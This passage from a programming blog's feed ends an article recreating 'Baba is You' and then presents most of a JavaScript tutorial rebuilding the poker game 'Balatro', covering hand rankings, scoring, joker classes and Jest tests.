  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> predicateBlock <span class="hljs-keyword">of</span> predicateBlocks.filter(discardAND)) {
    <span class="hljs-comment">// subject block is always a noun, if predicate block is also</span>
    <span class="hljs-comment">// a noun, it goes to the complements, otherwise, it's a rule</span>
    <span class="hljs-keyword">if</span> (predicateBlock.ref.type === <span class="hljs-string">'noun'</span>) {
      complements.push([subjectBlock.ref, predicateBlock.ref])
    } <span class="hljs-keyword">else</span> {
      rules.push([subjectBlock.ref.id, <span class="hljs-string">"IS"</span>, predicateBlock.ref.id])
    }
  }
}
</code></pre>
<h2 id="conclusion">Conclusion</h2>
<p>And with that, we have completed the basic integration of &quot;Baba is You&quot;! Although I haven't provided the full solution in this article, I hope this has provided a solid foundation for readers to piece together the presented code and potentially extend it with more advanced mechanics.</p>
<p>However, it's worth noting that <a href="https://hempuli.com/baba/">the real game</a> is both affordable and easily accessible, with the added bonus of including a level editor. Therefore, unless your goal is purely for learning and experimentation purposes, it may not make much sense to recreate the game from scratch. Regardless, I hope this article has provided some insight into the game's mechanics and how they can be implemented using JavaScript.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Rule Changing Poker Game "Balatro" recreated in JavaScript - Behind the Code]]></title>
            <link>https://michaelzanggl.com/articles/balatro/</link>
            <guid>balatro</guid>
            <description><![CDATA[Remaking the excellent poker game where jokers change the rules of the game midplay.]]></description>
            <content:encoded><![CDATA[<p><a href="https://www.playbalatro.com/">&quot;Balatro&quot;</a> is a rogue-like poker game that comes with all sorts of modifiers to change the rules mid game and allow you to score higher points. There's significant interactivity among various effects that occur and its developer even describes the game as being held together with hopes and dreams.</p>
<p>Let's put on our <code>poker face</code> and see if, armed with the hindsight of the finished game, we can <code>ace</code> the development of its core mechanics, or if we'd be better off <code>flushing</code> our code down the drain?</p>
<h2 id="terminology">Terminology</h2>
<p>As always, before we start coding, let's get the terminology straight.</p>
<ul>
<li>Hand ranking refers to the poker hand played (flush, straight, full house, three of a kind, etc.)</li>
<li>Played cards are the cards placed on the table (up to 5)</li>
<li>Scoring cards are the played cards contributing to the score (e.g. in 5 of spades, 5 of hearts, 7 of spades, the hand ranking is &quot;pair&quot; and only the first two cards count as scoring cards)</li>
<li>Jokers refer to special cards acquired during gameplay that don't need to be played but have an effect on either the rules or the scoring of the game</li>
</ul>
<h2 id="how-the-game-works">How the Game works</h2>
<p>In case you haven't played the game, I'll break down one possible round of poker in Balatro:</p>
<ul>
<li>the user plays the cards: 9 of spades, jack of clubs, queen of clubs, and king of hearts</li>
<li>the user previously added the following five jokers to his arsenal:</li>
</ul>
<ol>
<li>straights can contain a gap</li>
<li>straights and flushes only require four cards</li>
<li>copies joker ability from the joker to the right</li>
<li>retriggers face cards</li>
<li>Face cards get turned into spades</li>
</ol>
<p>Let's see how the scoring goes for the above:</p>
<ul>
<li>We only played four cards and have a gap in there (missing the 10), but because we have joker 1 and 2 applied, this still counts as a straight.</li>
<li>Face cards are also turned into spades so we have a flush as well. Hence the final hand ranking is a straight flush.</li>
<li>We get an initial score for the poker hand played (for example 50 chips + 8x multipler).</li>
<li>We then go through each scored card and add its value to the score (e.g. 9 chips for the 9 of spades)</li>
<li>Thanks to the &quot;retrigger face cards&quot; joker, face cards are scored an additional time...</li>
<li>And thanks to the &quot;copy joker ability&quot;, a third time as well!</li>
<li>We then calculate the final score: 139 chips * 8 multiplier = 1398</li>
</ul>
<p>There are even jokers that multiply your multiplier which are often the secret to winning later rounds that require a high score to beat.</p>
<h2 id="coding">Coding</h2>
<p>Before we get to the fun part, which is the jokers, we need to set up the basic functionality to score points.</p>
<p>Let's create the PlayCard class which we use to create the poker cards:</p>
<pre class="hljs"><code><span class="hljs-keyword">let</span> lastPlayCardId = <span class="hljs-number">0</span>

<span class="hljs-keyword">const</span> numberedCards = [<span class="hljs-string">'2'</span>, <span class="hljs-string">'3'</span>, <span class="hljs-string">'4'</span>, <span class="hljs-string">'5'</span>, <span class="hljs-string">'6'</span>, <span class="hljs-string">'7'</span>, <span class="hljs-string">'8'</span>, <span class="hljs-string">'9'</span>, <span class="hljs-string">'10'</span>]
<span class="hljs-keyword">const</span> faceCards = [<span class="hljs-string">'jack'</span>, <span class="hljs-string">'queen'</span>, <span class="hljs-string">'king'</span>]
<span class="hljs-comment">// we use this to sort and identify straights</span>
<span class="hljs-keyword">const</span> cardRanks = [...numberedCards, ...faceCards, <span class="hljs-string">'ace'</span>]

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">PlayCard</span> </span>{
  <span class="hljs-keyword">constructor</span>(name, suit) {
    lastPlayCardId++
    <span class="hljs-keyword">this</span>.uid = lastPlayCardId
    <span class="hljs-keyword">this</span>.name = name
    <span class="hljs-keyword">this</span>.suit = suit
  }

  isFace() {
    <span class="hljs-keyword">return</span> faceCards.includes(<span class="hljs-keyword">this</span>.name)
  }

  isNumbered() {
    <span class="hljs-keyword">return</span> numberedCards.includes(<span class="hljs-keyword">this</span>.name)
  }

  getRank() {
    <span class="hljs-keyword">return</span> cardRanks.indexOf(<span class="hljs-keyword">this</span>.name)
  }

  points() {
    <span class="hljs-keyword">if</span> (<span class="hljs-keyword">this</span>.isNumbered()) {
      <span class="hljs-keyword">return</span> <span class="hljs-built_in">Number</span>(<span class="hljs-keyword">this</span>.name)
    }
    <span class="hljs-keyword">return</span> <span class="hljs-number">10</span>
  }
}
</code></pre>
<h2 id="determine-hand-rankings">Determine Hand Rankings</h2>
<p>Next, let's determine the hand ranking that was played. We can use this code for it:</p>
<pre class="hljs"><code><span class="hljs-comment">// a library of mine to simplify data manipulation</span>
<span class="hljs-keyword">const</span> { given } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'flooent'</span>)

<span class="hljs-comment">// hand rankings are listed from best to worst</span>
<span class="hljs-keyword">const</span> handRankingOptions = {
  <span class="hljs-comment">// ...we just show the bottom too for now</span>
  <span class="hljs-string">'pair'</span>: {
    <span class="hljs-attr">chips</span>: <span class="hljs-number">10</span>, <span class="hljs-comment">// how many chips you score with a pair</span>
    <span class="hljs-attr">mult</span>: <span class="hljs-number">2</span>, <span class="hljs-comment">// how many multipliers get added when you score with a pair</span>
    <span class="hljs-attr">level</span>: <span class="hljs-number">1</span>, <span class="hljs-comment">// the level of hand ranking (can be leveled up)</span>
    <span class="hljs-attr">minCards</span>: <span class="hljs-number">2</span>, <span class="hljs-comment">// the number of cards required for this hand ranking to be valid</span>
    matches(playedCards, pairs) {
      <span class="hljs-keyword">if</span> (pairs.length === <span class="hljs-number">1</span>) {
        <span class="hljs-keyword">return</span> { <span class="hljs-attr">scoringCards</span>: pairs[<span class="hljs-number">0</span>] }
      }
    }
  },
  <span class="hljs-string">'highest'</span>: {
    <span class="hljs-comment">// ...</span>
    matches(playedCards) {
      <span class="hljs-keyword">return</span> { <span class="hljs-attr">scoringCards</span>: [playedCards.at(<span class="hljs-number">-1</span>)] }
    }
  }
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">determineHandRanking</span>(<span class="hljs-params">playedCards</span>) </span>{
  <span class="hljs-keyword">const</span> playedCardsSorted = given.array(playedCards)
    .sortAsc(<span class="hljs-function"><span class="hljs-params">card</span> =&gt;</span> card.getRank())
    .valueOf()

  <span class="hljs-comment">// collect all pairs needed for various ranking checks like full house or pairs</span>
  <span class="hljs-keyword">const</span> pairs = given.array(playedCards)
    .groupBy(<span class="hljs-string">'name'</span>)
    .values()
    .filter(<span class="hljs-function"><span class="hljs-params">pair</span> =&gt;</span> pair.length &gt; <span class="hljs-number">1</span>)
    .valueOf()

  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> handRanking <span class="hljs-keyword">of</span> <span class="hljs-built_in">Object</span>.keys(handRankingOptions)) {
    <span class="hljs-keyword">const</span> option = handRankingOptions[handRanking]
    <span class="hljs-keyword">if</span> (playingCardsSorted.length &lt; round.handRankings[handRanking].minCards) <span class="hljs-keyword">continue</span>
    <span class="hljs-comment">// if hand ranking matches, return the scoring cards and hand ranking</span>
    <span class="hljs-keyword">const</span> result = option.matches.call(handRankingOptions, playedCardsSorted, pairs)
    <span class="hljs-keyword">if</span> (result) {
      <span class="hljs-comment">// skip if not enough cards -&gt; prevents flush with less than 5 cards</span>
      <span class="hljs-keyword">if</span> (result.scoringCards.length &lt; round.handRankings[handRanking].minCards) <span class="hljs-keyword">continue</span>
      <span class="hljs-keyword">return</span> { <span class="hljs-attr">scoringCards</span>: result.scoringCards, handRanking }
    }
  }
  <span class="hljs-comment">// will never reach here as "highest" will always return the highest card played at last</span>
}
</code></pre>
<p>With this, we have a basic implementation to identify the hand rankings. Below are the remaining rankings.
We will need to modify the code later again to accomodate for specific jokers. What's really useful here is to write tests as you code along to not run into regressions.</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> handRankingOptions = {
  <span class="hljs-string">'straightFlush'</span>: {
    <span class="hljs-comment">// ...</span>
    matches(playedCards, pairs) {
      <span class="hljs-keyword">const</span> straightResult = <span class="hljs-keyword">this</span>.straight.matches.call(<span class="hljs-keyword">this</span>, playedCards)
      <span class="hljs-keyword">if</span> (!straightResult) <span class="hljs-keyword">return</span>
      <span class="hljs-keyword">return</span> <span class="hljs-keyword">this</span>.flush.matches.call(<span class="hljs-keyword">this</span>, given.array(straightResult.scoringCards))
    }
  },
  <span class="hljs-string">'fourOfAKind'</span>: {
    <span class="hljs-comment">// ...</span>
    matches(playedCards, pairs) {
      <span class="hljs-keyword">const</span> fourOfAKind = pairs.find(<span class="hljs-function"><span class="hljs-params">pair</span> =&gt;</span> pair.length === <span class="hljs-number">4</span>)
      <span class="hljs-keyword">if</span> (fourOfAKind) {
        <span class="hljs-keyword">return</span> { <span class="hljs-attr">scoringCards</span>: fourOfAKind }
      }
    }
  },
  <span class="hljs-string">'fullHouse'</span>: {
    <span class="hljs-comment">// ...</span>
    matches(playedCards, pairs) {
      <span class="hljs-keyword">const</span> threeOfAKind = pairs.find(<span class="hljs-function"><span class="hljs-params">pair</span> =&gt;</span> pair.length === <span class="hljs-number">3</span>)
      <span class="hljs-keyword">if</span> (threeOfAKind &amp;&amp; pairs.length === <span class="hljs-number">2</span>) {
        <span class="hljs-keyword">return</span> { <span class="hljs-attr">scoringCards</span>: playedCards }
      }
    }
  },
  <span class="hljs-string">'flush'</span>: {
    <span class="hljs-comment">// ...</span>
    matches(playedCards) {
      <span class="hljs-keyword">if</span> (given.array(playedCards).unique(<span class="hljs-string">'suit'</span>).length === <span class="hljs-number">1</span>) {
        <span class="hljs-keyword">return</span> { <span class="hljs-attr">scoringCards</span>: playedCards }
      }
    }
  },
  <span class="hljs-string">'straight'</span>: {
    <span class="hljs-comment">// ...</span>
    matches(playedCards) {
      <span class="hljs-keyword">if</span> (given.array(playedCards).map(<span class="hljs-function">(<span class="hljs-params">c, idx</span>) =&gt;</span> c.getRank() - idx).unique().length === <span class="hljs-number">1</span>) {
        <span class="hljs-keyword">return</span> { <span class="hljs-attr">scoringCards</span>: playedCards }
      }
    }
  },
  <span class="hljs-string">'threeOfAKind'</span>: {
    <span class="hljs-comment">// ...</span>
    matches(playedCards, pairs) {
      <span class="hljs-keyword">const</span> threeOfAKind = pairs.find(<span class="hljs-function"><span class="hljs-params">pair</span> =&gt;</span> pair.length === <span class="hljs-number">3</span>)
      <span class="hljs-keyword">if</span> (threeOfAKind) {
        <span class="hljs-keyword">return</span> { <span class="hljs-attr">scoringCards</span>: threeOfAKind }
      }
    }
  },
  <span class="hljs-string">'twoPair'</span>: {
    <span class="hljs-comment">// ...</span>
    matches(playedCards, pairs) {
      <span class="hljs-keyword">if</span> (pairs.length === <span class="hljs-number">2</span>) {
        <span class="hljs-keyword">return</span> { <span class="hljs-attr">scoringCards</span>: pairs.flat() }
      }
    }
  },
  <span class="hljs-comment">// ...pair and highest (see in previous code example)</span>
}
</code></pre>
<h2 id="scoring">Scoring</h2>
<p>Now that that's out of the way we can create a function to handle what happens after the user has played the cards. This will be the injection point for our joker effects later. Let's first create the Score class:</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Score</span> </span>{
  chips = <span class="hljs-number">0</span>
  mult = <span class="hljs-number">0</span>
  scoreBreakdown = []

  <span class="hljs-keyword">constructor</span>(handRankingOption) {
    <span class="hljs-comment">// initialize score with the determined hand ranking</span>
    <span class="hljs-keyword">this</span>.scoreEffect({ <span class="hljs-attr">type</span>: <span class="hljs-string">'chips'</span>, <span class="hljs-attr">operation</span>: <span class="hljs-string">'add'</span>, <span class="hljs-attr">value</span>: handRankingOption.chips })
    <span class="hljs-keyword">this</span>.scoreEffect({ <span class="hljs-attr">type</span>: <span class="hljs-string">'mult'</span>, <span class="hljs-attr">operation</span>: <span class="hljs-string">'add'</span>, <span class="hljs-attr">value</span>: handRankingOption.mult })
  }

  scoreCard(card) {
    <span class="hljs-keyword">this</span>.scoreEffect({ <span class="hljs-attr">type</span>: <span class="hljs-string">'chips'</span>, <span class="hljs-attr">operation</span>: <span class="hljs-string">'add'</span>, <span class="hljs-attr">value</span>: card.points() })
  }

  scoreEffect(effect) {
    <span class="hljs-keyword">if</span> (effect.operation === <span class="hljs-string">'add'</span>) {
      <span class="hljs-keyword">this</span>[effect.type] += effect.value
    } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (effect.operation === <span class="hljs-string">'multiply'</span>) {
      <span class="hljs-keyword">this</span>[effect.type] *= effect.value
    }
    <span class="hljs-keyword">this</span>.scoreBreakdown.push(effect)
  }

  total() {
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">this</span>.chips * <span class="hljs-keyword">this</span>.mult
  }
}
</code></pre>
<p>This class takes care of the calculations for us and saves a breakdown of every score change. This breakdown is powerful since it's easy to compare the score like this in tests without manually calculating and comparing the final score.</p>
<pre class="hljs"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">calculateScore</span>(<span class="hljs-params">playedCards, jokers</span>) </span>{
  <span class="hljs-keyword">const</span> { scoringCards, handRanking } = determineHandRanking(playedCards)

  <span class="hljs-keyword">const</span> score = <span class="hljs-keyword">new</span> Score(handRankingOptions[handRanking])

  <span class="hljs-comment">// add each card's points to the score</span>
  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> card <span class="hljs-keyword">of</span> round.scoringCards) {
    score.scoreCard(card)
  }

  <span class="hljs-keyword">return</span> { score }
}
</code></pre>
<p>And like this we have our very very basic poker functionality. Now, to the fun part!</p>
<h2 id="jokers">Jokers</h2>
<p>So turns out, there isn't just one type of joker, in fact I identified 4 different types. This means, we need 4 different injection points to apply the joker's effects.</p>
<blockquote>
<p>A restriction I set for this excercise is not littering the code with if conditions for joker effects. The logic for the jokers should be solvable within the joker classes themselves. Ideally, this should make the code more easily extensible and modifyable, but just like boss blinds in the game, such restrictions also make challenges like this more interesting to solve in general.</p>
</blockquote>
<p>The injection points are as follows:</p>
<pre class="hljs"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">calculateScore</span>(<span class="hljs-params">playedCards, jokers</span>) </span>{
  <span class="hljs-keyword">const</span> round = <span class="hljs-keyword">new</span> Round(playedCards, jokers)

  <span class="hljs-comment">// 👇 Jokers that modify the setup, like changing rules/played cards.</span>
  <span class="hljs-comment">// E.g.: straights can contain gaps</span>
  round.jokers.forEach(<span class="hljs-function"><span class="hljs-params">j</span> =&gt;</span> j.modifySetup?.(round))

  round.determineHandRanking()

  <span class="hljs-comment">// 👇 Jokers that modify the scoring cards or ranking after it was determined</span>
  <span class="hljs-comment">// E.g.: Every played card counts in scoring</span>
  round.jokers.forEach(<span class="hljs-function"><span class="hljs-params">j</span> =&gt;</span> j.modifyScoring?.(round))

  <span class="hljs-keyword">const</span> score = <span class="hljs-keyword">new</span> Score(round.getHandRankingOption())

  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> card <span class="hljs-keyword">of</span> round.scoringCards) {
    score.scoreCard(card)
    <span class="hljs-comment">// 👇 Jokers that run for specific cards and are triggered one by one</span>
    <span class="hljs-comment">// E.g.: Add x4 to Mult for each face card scored</span>
    round.jokers.forEach(<span class="hljs-function"><span class="hljs-params">j</span> =&gt;</span> j.scoreExtraPerCard?.(round, score, card))
  }

  <span class="hljs-comment">// 👇 Jokers that run per round to add to the score</span>
  <span class="hljs-comment">// E.g.: Add x4 to Mult if scored using three cards or fewer</span>
  round.jokers.forEach(<span class="hljs-function"><span class="hljs-params">j</span> =&gt;</span> j.scoreExtraPerRound?.(round, score))
  
  <span class="hljs-keyword">return</span> { round, score }
}
</code></pre>
<blockquote>
<p>Now, it would be possible to condense the last 2 or even 3 joker types into just the &quot;scoreExtraPerRound&quot;-type Joker. But the order in which joker effects are applied matters, so the score would only be calculatable after sorting the score breakdown accordingly which would also require more information. Let's hold off on that for the time being.</p>
</blockquote>
<p>Looking at the code, we've also established the &quot;Round&quot; class which is as high as we go in this demo.</p>
<blockquote>
<p>There's no need for &quot;Game&quot;, &quot;Ante&quot;, or &quot;Blind&quot; to play around with jokers. That's why you also see this mix of classes and stand-alone functions. We simply want to put our focus on the core part of the game, the rest's just there to help with that for now.</p>
</blockquote>
<p>Back to the &quot;Round&quot; class. This class will hold vital information that jokers can access and mutate!</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Round</span> </span>{
  handRankingOptions = deepcopy(handRankingOptions) <span class="hljs-comment">// copy to allow mutations by jokers</span>
  handRanking = <span class="hljs-string">''</span>
  scoringCards = []
  
  <span class="hljs-keyword">constructor</span>(playedCards, jokers) {
    <span class="hljs-keyword">this</span>.playedCards = playedCards
    <span class="hljs-keyword">this</span>.jokers = jokers
  }

  getHandRankingOption() {
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">this</span>.handRankingOptions[<span class="hljs-keyword">this</span>.handRanking]
  }

  determineHandRanking() {
    <span class="hljs-keyword">const</span> { scoringCards, handRanking } = determineHandRanking(<span class="hljs-keyword">this</span>) <span class="hljs-comment">// "determineHandRanking" was changed to take an instance of Round as its argument</span>
    <span class="hljs-keyword">this</span>.handRanking = handRanking
    <span class="hljs-keyword">this</span>.scoringCards = scoringCards
  }
}
</code></pre>
<hr>
<p>Now we have everything set up, and all that's left is to create jokers!</p>
<p>Let's create our very first one, I think it speaks for itself!</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Joker</span> </span>{} <span class="hljs-comment">// could add base methods down the line</span>

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">FibonnacciJoker</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Joker</span> </span>{
  scoreExtraPerCard(round, score, card) {
    <span class="hljs-keyword">if</span> ([<span class="hljs-string">'2'</span>, <span class="hljs-string">'3'</span>, <span class="hljs-string">'5'</span>, <span class="hljs-string">'8'</span>, <span class="hljs-string">'10'</span>, <span class="hljs-string">'ace'</span>].includes(card.name)) {
      score.scoreEffect({ <span class="hljs-attr">type</span>: <span class="hljs-string">'mult'</span>, <span class="hljs-attr">operation</span>: <span class="hljs-string">'add'</span>, <span class="hljs-attr">value</span>: <span class="hljs-number">4</span> })
    }
  }
}
</code></pre>
<p>The test lets you see the score break down in which you can observe that after 5 and 8 were added, a 4x multiplier was added thanks to the joker!</p>
<pre class="hljs"><code>describe(<span class="hljs-string">'FibonnacciJoker'</span>, () =&gt; {
  it(<span class="hljs-string">'adds 4x multiplier for each number in the fibonacci sequence'</span>, () =&gt; {
    <span class="hljs-keyword">const</span> jokers = [<span class="hljs-keyword">new</span> Joker.FibonnacciJoker]

    <span class="hljs-keyword">const</span> cardsPlayed = [
      <span class="hljs-keyword">new</span> PlayCard(<span class="hljs-string">'5'</span>, <span class="hljs-string">'spade'</span>),
      <span class="hljs-keyword">new</span> PlayCard(<span class="hljs-string">'6'</span>, <span class="hljs-string">'diamond'</span>),
      <span class="hljs-keyword">new</span> PlayCard(<span class="hljs-string">'7'</span>, <span class="hljs-string">'heart'</span>),
      <span class="hljs-keyword">new</span> PlayCard(<span class="hljs-string">'8'</span>, <span class="hljs-string">'club'</span>),
      <span class="hljs-keyword">new</span> PlayCard(<span class="hljs-string">'9'</span>, <span class="hljs-string">'club'</span>)
    ]

    <span class="hljs-keyword">const</span> {score} = calculateScore(cardsPlayed, jokers)
    expect(score.getEffectsBreakdown()).toEqual([
      { <span class="hljs-attr">operation</span>: <span class="hljs-string">'add'</span>, <span class="hljs-attr">value</span>: <span class="hljs-number">5</span>, <span class="hljs-attr">type</span>: <span class="hljs-string">'chips'</span> },
      { <span class="hljs-attr">operation</span>: <span class="hljs-string">'add'</span>, <span class="hljs-attr">value</span>: <span class="hljs-number">4</span>, <span class="hljs-attr">type</span>: <span class="hljs-string">'mult'</span> },
      { <span class="hljs-attr">operation</span>: <span class="hljs-string">'add'</span>, <span class="hljs-attr">value</span>: <span class="hljs-number">6</span>, <span class="hljs-attr">type</span>: <span class="hljs-string">'chips'</span> },
      { <span class="hljs-attr">operation</span>: <span class="hljs-string">'add'</span>, <span class="hljs-attr">value</span>: <span class="hljs-number">7</span>, <span class="hljs-attr">type</span>: <span class="hljs-string">'chips'</span> },
      { <span class="hljs-attr">operation</span>: <span class="hljs-string">'add'</span>, <span class="hljs-attr">value</span>: <span class="hljs-number">8</span>, <span class="hljs-attr">type</span>: <span class="hljs-string">'chips'</span> },
      { <span class="hljs-attr">operation</span>: <span class="hljs-string">'add'</span>, <span class="hljs-attr">value</span>: <span class="hljs-number">4</span>, <span class="hljs-attr">type</span>: <span class="hljs-string">'mult'</span> },
      { <span class="hljs-attr">operation</span>: <span class="hljs-string">'add'</span>, <span class="hljs-attr">value</span>: <span class="hljs-number">9</span>, <span class="hljs-attr">type</span>: <span class="hljs-string">'chips'</span> }
    ])
  })
})
</code></pre>
<p>&quot;score.getEffectsBreakdown()&quot; is a utility method that will return the score breakdown without the two initial chip + mult scores.</p>
<p>&quot;scoreExtraPerRound&quot; jokers work similarly in that given a certain condition is met, it will add a specific amount to the final score:</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">ContainsThreeOrFewerCardsJoker</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Joker</span> </span>{
  scoreExtraPerRound(round, score) {
    <span class="hljs-keyword">if</span> (round.scoringCards.length &lt;= <span class="hljs-number">3</span>) {
      score.scoreEffect({ <span class="hljs-attr">type</span>: <span class="hljs-string">'mult'</span>, <span class="hljs-attr">operation</span>: <span class="hljs-string">'add'</span>, <span class="hljs-attr">value</span>: <span class="hljs-number">20</span> })
    }
  }
}
</code></pre>
<p>Hey, we can even implement our very own jokers!</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">AnswerToEverythingJoker</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Joker</span> </span>{
  scoreExtraPerRound(round, score) {
    <span class="hljs-keyword">if</span> (given.array(round.playedCards).sum(<span class="hljs-function"><span class="hljs-params">c</span> =&gt;</span> c.points()) === <span class="hljs-number">42</span>) {
      score.scoreEffect({ <span class="hljs-attr">type</span>: <span class="hljs-string">'mult'</span>, <span class="hljs-attr">operation</span>: <span class="hljs-string">'multiply'</span>, <span class="hljs-attr">value</span>: <span class="hljs-number">42</span> })
    }
  }
}
</code></pre>
<p>These two types of jokers can also contain their own state, like this joker which will add an additional x1 to mult for every time the current hand ranking is played:</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">PlusOneForPlayingHand</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Joker</span> </span>{
  gameState = {
    <span class="hljs-attr">timesPlayed</span>: {}
  }

  scoreExtraPerRound(round, score) {
    <span class="hljs-keyword">this</span>.gameState.timesPlayed[round.handRanking] = <span class="hljs-keyword">this</span>.gameState.timesPlayed[round.handRanking] ?? <span class="hljs-number">0</span>
    <span class="hljs-keyword">this</span>.gameState.timesPlayed[round.handRanking]++

    score.scoreEffect({ <span class="hljs-attr">type</span>: <span class="hljs-string">'mult'</span>, <span class="hljs-attr">operation</span>: <span class="hljs-string">'add'</span>, <span class="hljs-attr">value</span>: <span class="hljs-keyword">this</span>.gameState.timesPlayed[round.handRanking] })
  }
}
</code></pre>
<p>There's also &quot;roundState&quot; which gets reset in the Round's constructor. This way we can implement retrigger jokers without causing an infinite loop if two such jokers are applied at the same time (as we have to retrigger all the other jokers as well):</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">RetriggerLowNumbersJoker</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Joker</span> </span>{
  roundState = {
    <span class="hljs-attr">triggered</span>: {}
  }
  
  scoreExtraPerCard(round, score, card) {
    <span class="hljs-keyword">if</span> (![<span class="hljs-string">'2'</span>, <span class="hljs-string">'3'</span>, <span class="hljs-string">'4'</span>, <span class="hljs-string">'5'</span>].includes(card.name)) <span class="hljs-keyword">return</span>
    <span class="hljs-keyword">if</span> (<span class="hljs-keyword">this</span>.roundState.triggered[card.id]) <span class="hljs-keyword">return</span>
    <span class="hljs-keyword">this</span>.roundState.triggered[card.id] = <span class="hljs-literal">true</span>

    score.scoreCard(card)
    round.jokers.filter(<span class="hljs-function"><span class="hljs-params">j</span> =&gt;</span> j.id !== <span class="hljs-keyword">this</span>.id).forEach(<span class="hljs-function"><span class="hljs-params">j</span> =&gt;</span> {
      j.scoreExtraPerCard?.(round, score, card)
    })
  }
}
</code></pre>
<p>Regarding &quot;modifyScoring&quot; jokers, I only have one so far which is the &quot;all played cards count in scoring&quot;. It's as simple as this:</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">AllCardsCountJoker</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Joker</span> </span>{
  modifyScoring(round) {
    round.scoringCards = round.playedCards
  }
}
</code></pre>
<p>Much more interesting is the first type &quot;modifySetup&quot; as it allows for changing the rules of the game!</p>
<h2 id="modifysetup-jokers">modifySetup Jokers</h2>
<p>The first one is quite simple. It swaps the suit to spade for any face card played (before we determine the hand ranking):</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">FaceCardsAreSpadesJoker</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Joker</span> </span>{
  modifySetup(round) {
    round.playedCards = round.playedCards.map(<span class="hljs-function"><span class="hljs-params">card</span> =&gt;</span> {
      <span class="hljs-keyword">if</span> (card.isFace()) {
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> card.constructor(card.name, <span class="hljs-string">'spade'</span>, card.effects)
      }
      <span class="hljs-keyword">return</span> card
    })
  }
}
</code></pre>
<p>To show how it works with other jokers, let's add another joker that adds a 4x multiplier for each card of the suit spades:</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">MultForSpadeJoker</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Joker</span> </span>{
  scoreExtraPerCard(round, score, card) {
    <span class="hljs-keyword">if</span> (card.suit === <span class="hljs-string">'spade'</span>) {
      score.scoreEffect({ <span class="hljs-attr">type</span>: <span class="hljs-string">'mult'</span>, <span class="hljs-attr">operation</span>: <span class="hljs-string">'add'</span>, <span class="hljs-attr">value</span>: <span class="hljs-number">4</span> })
    }
  }
}
</code></pre>
<p>As you can see in this test, we now get the extra multipliers for achieving a pair with the two played cards:</p>
<pre class="hljs"><code>it(<span class="hljs-string">'applies effect of MultForSpadeJoker for non-spade cards if FaceCardsAreSpadesJoker is set'</span>, () =&gt; {
  <span class="hljs-keyword">const</span> jokers = [<span class="hljs-keyword">new</span> Joker.MultForSpadeJoker, <span class="hljs-keyword">new</span> Joker.FaceCardsAreSpadesJoker]

  <span class="hljs-keyword">const</span> cardsPlayed = [
    <span class="hljs-keyword">new</span> PlayCard(<span class="hljs-string">'jack'</span>, <span class="hljs-string">'heart'</span>),
    <span class="hljs-keyword">new</span> PlayCard(<span class="hljs-string">'jack'</span>, <span class="hljs-string">'heart'</span>),
  ]
  <span class="hljs-keyword">const</span> {round, score} = calculateScore(cardsPlayed, jokers)
  expect(round.handRanking).toBe(<span class="hljs-string">'pair'</span>)
  expect(score.getEffectsBreakdown(<span class="hljs-string">'mult'</span>)).toEqual([
    {<span class="hljs-string">"operation"</span>: <span class="hljs-string">"add"</span>, <span class="hljs-string">"type"</span>: <span class="hljs-string">"mult"</span>, <span class="hljs-string">"value"</span>: <span class="hljs-number">4</span>},
    {<span class="hljs-string">"operation"</span>: <span class="hljs-string">"add"</span>, <span class="hljs-string">"type"</span>: <span class="hljs-string">"mult"</span>, <span class="hljs-string">"value"</span>: <span class="hljs-number">4</span>}
  ])
})
</code></pre>
<hr>
<p>Next, let's look at our final three jokers, they all work in conjunction with each other and we have to change some of the hand ranking logic for that to work out.</p>
<p>The first joker will allow us to create straights and flushes using only four cards. For this, we simply mutate the &quot;minCards&quot; property.</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">SmallStraightFlushJoker</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Joker</span> </span>{
  modifySetup(round) {
    round.handRankingOptions.straight.minCards = <span class="hljs-number">4</span>
    round.handRankingOptions.straightFlush.minCards = <span class="hljs-number">4</span>
    round.handRankingOptions.flush.minCards = <span class="hljs-number">4</span>
  }
}
</code></pre>
<blockquote>
<p>We are straight up mutating objects in the instance of &quot;round&quot; within the joker here. Usually you'd try to avoid mutations if possible but in this very instance I give it a pass as it's literally the joker's job to mutate the round's setup. But it wouldn't be too hard to migrate this to more &quot;pure&quot; code.</p>
</blockquote>
